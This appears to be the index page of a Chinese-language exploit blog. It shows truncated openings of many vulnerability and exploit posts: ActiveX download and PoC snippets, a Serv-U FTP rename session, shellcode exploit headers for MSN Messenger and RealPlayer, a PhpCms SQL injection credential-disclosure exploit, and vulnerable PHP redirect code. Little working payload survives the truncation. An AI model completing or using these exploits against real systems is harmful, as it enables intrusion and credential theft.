3xp-0day'Blog

------------------------------------------------------------------------------------------------------------ Operating System: XP SP2 Gdiplus.dll Version: 5.1.3102.2180 Credit: John Smith, Evil Fingers GIF Template Reference: http://www.swe...

Microsoft Digital Image是一款图像管理处理工具。
其包含的PicturePusher 'PipPPush.dll' ActiveX控件存在设计问题，远程攻击者可以利用漏洞从任意位置下载文件到受影响的电脑。
控件允许构建定制的POST请求实现上传功能，使用浏览器作为代理可以回弹，并通过AddString()方法注入文件名子字段。类似的POST请求如下：
POST /?aaaa=1 HTTP/1.1
Content-Type: multipa...

#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 F...

/* * * MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit * Bug discoveried by Core Security Technologies (www.coresecurity.com) * Exploit coded By ATmaCA * Copyright ?2002-2005 AtmacaSoft Inc. All Rights Reserved. * Web: http:/...

/*
  *****************************************************************************************************************
  $ An open security advisory #13 - RealPlayer and Helix Player Remote Format String Exploit
  ********...

<? print_r(' -------------------------------------------------------------------------------- PhpCms2007 sp6 "digg" SQL injection/admin credentials disclosure exploit BY T00ls(www.T00ls.net) -------------------------------------------...

MS Windows GDI+ .ico Remote Division By Zero Application: GDIPLUS.DLL Web Site: http://www.microsoft.com/ Platform: Windows * Bug: Division By Zero Tested agains: XP SP3 fully patched Note: This have nothing to do with http://milw0rm....

Microsoft WordPad是一款微软开发的写字板程序。
Microsoft WordPad处理特殊构建的.doc文件存在问题，远程攻击者可以利用漏洞使应用程序崩溃。
目前还不确定是否能以任意代码执行方式利用。 <* 参考 漏洞提供者
securfrog*>SEBUG安全建议:
目前没有解决方案提供：
http://www.microsoft.com
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学...

泄露绝对路径漏洞
member/company.php

member/job.php

然后是跨站，这个得YY一下：

漏洞文件：include/jump.php

以下是漏洞代码：
<?php
if(!empty($_GET['gurl'])){
echo "<script>location=\"{$_GET['gurl']}\&quo...

09.10.2008
=============================================================================

<input language=JavaScript onclick=poc() type=button value="launch exploit">

<OBJECT id="target" classid=&...